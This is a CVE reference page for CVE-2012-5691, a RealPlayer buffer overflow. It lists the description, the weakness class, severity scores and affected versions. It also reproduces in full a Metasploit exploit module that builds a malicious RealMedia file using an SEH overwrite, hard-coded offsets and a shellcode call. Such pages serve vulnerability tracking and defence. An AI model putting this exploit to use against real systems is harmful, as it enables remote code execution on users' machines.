CVE-2012-5691 : Detail

CVE-2012-5691

Overflow
76.92%V4
Network
2012-12-19
11h00 +00:00
2024-09-16
20h32 +00:00
CVE.org
NVD
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CVE Descriptions

Buffer overflow in RealNetworks RealPlayer before 16.0.0.282 and RealPlayer SP 1.0 through 1.1.5 allows remote attackers to execute arbitrary code via a crafted RealMedia file.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 23694

Publication date : 2012-12-26 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'RealPlayer RealMedia File Handling Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14. The vulnerability exists in the handling of real media files, due to the insecure usage of the GetPrivateProfileString function to retrieve the URL property from an InternetShortcut section. This module generates a malicious rm file which must be opened with RealPlayer via drag and drop or double click methods. It has been tested successfully on Windows XP SP3 with RealPlayer 15.0.5.109. }, 'License' => MSF_LICENSE, 'Author' => [ 'suto <suto[at]vnsecurity.net>' # Vulnerability discovery, metasploit module ], 'References' => [ [ 'CVE', '2012-5691' ], [ 'OSVDB', '88486' ], [ 'BID', '56956' ], [ 'URL', 'http://service.real.com/realplayer/security/12142012_player/en/' ] ], 'DefaultOptions' => { 'ExitFunction' => 'process' }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x0a\x0d", 'DisableNops' => true, 'Space' => 2000 }, 'Targets' => [ [ 'Windows XP SP3 / Real Player 15.0.5.109', { 'Ret' => 0x63f2b4b5, # ppr from rpap3260.dll 'OffsetOne' => 2312, # Open via double click 'OffsetTwo' => 2964 # Open via drag and drop } ] ], 'Privileged' => false, 'DisclosureDate' => 'Dec 14 2012', 'DefaultTarget' => 0)) register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),], self.class) end def exploit buffer = payload.encoded buffer << rand_text(target['OffsetOne'] - buffer.length) # Open the file via double click buffer << generate_seh_record(target.ret) buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetOne'] + 8}").encode_string buffer << rand_text(target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player buffer << generate_seh_record(target.ret) buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetTwo'] + 8}").encode_string buffer << rand_text(7000) # Generate exception content = "[InternetShortcut]\nURL=" filecontent = content+buffer file_create(filecontent) end end

Products Mentioned

Configuraton 0

Realnetworks>>Realplayer >> Version To (including) 16.0.0

Realnetworks>>Realplayer >> Version 4

Realnetworks>>Realplayer >> Version 5

Realnetworks>>Realplayer >> Version 6

Realnetworks>>Realplayer >> Version 7

Realnetworks>>Realplayer >> Version 8

Realnetworks>>Realplayer >> Version 10.0

Realnetworks>>Realplayer >> Version 10.5

Realnetworks>>Realplayer >> Version 11.0

Realnetworks>>Realplayer >> Version 11.0.1

Realnetworks>>Realplayer >> Version 11.0.2

Realnetworks>>Realplayer >> Version 11.0.2.1744

Realnetworks>>Realplayer >> Version 11.0.2.2315

Realnetworks>>Realplayer >> Version 11.0.3

Realnetworks>>Realplayer >> Version 11.0.4

Realnetworks>>Realplayer >> Version 11.0.5

Realnetworks>>Realplayer >> Version 11.1

Realnetworks>>Realplayer >> Version 11.1.3

Realnetworks>>Realplayer >> Version 11_build_6.0.14.748

Realnetworks>>Realplayer >> Version 12.0.0.1444

Realnetworks>>Realplayer >> Version 12.0.0.1548

Realnetworks>>Realplayer >> Version 14.0.0

Realnetworks>>Realplayer >> Version 14.0.1

Realnetworks>>Realplayer >> Version 14.0.1.609

Realnetworks>>Realplayer >> Version 14.0.2

Realnetworks>>Realplayer >> Version 14.0.3

Realnetworks>>Realplayer >> Version 14.0.4

Realnetworks>>Realplayer >> Version 14.0.5

Realnetworks>>Realplayer >> Version 15.0.0

Realnetworks>>Realplayer >> Version 15.0.4

Realnetworks>>Realplayer >> Version 15.0.4.43

Realnetworks>>Realplayer >> Version 15.0.5.109

Realnetworks>>Realplayer >> Version 15.0.6.14

Realnetworks>>Realplayer >> Version 15.02.71

Configuraton 0

Realnetworks>>Realplayer_sp >> Version 1.0.0

Realnetworks>>Realplayer_sp >> Version 1.0.1

Realnetworks>>Realplayer_sp >> Version 1.0.2

Realnetworks>>Realplayer_sp >> Version 1.0.5

Realnetworks>>Realplayer_sp >> Version 1.1

Realnetworks>>Realplayer_sp >> Version 1.1.1

Realnetworks>>Realplayer_sp >> Version 1.1.2

Realnetworks>>Realplayer_sp >> Version 1.1.3

Realnetworks>>Realplayer_sp >> Version 1.1.4

Realnetworks>>Realplayer_sp >> Version 1.1.5

References

The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.